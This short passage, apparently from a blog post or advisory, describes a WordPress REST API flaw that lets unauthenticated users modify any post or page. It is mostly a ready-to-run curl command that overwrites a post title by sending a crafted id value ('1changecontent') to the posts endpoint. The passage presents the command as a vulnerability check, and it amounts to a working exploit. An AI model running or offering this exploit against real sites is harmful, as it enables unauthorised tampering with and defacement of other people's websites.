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Through this vulnerability, an unauthenticated user can modify the content of any post or page. Lets the post id is 1 and you can change the title using this Curl command.
curl 'https://www.example.com/blog/wp-json/wp/v2/posts/1' -X 'POST' -F 'id=1changecontent' -F 'title=Codeshikari'
If your site is vulnerable then the title of the post id 1 will change to "Codeshikari".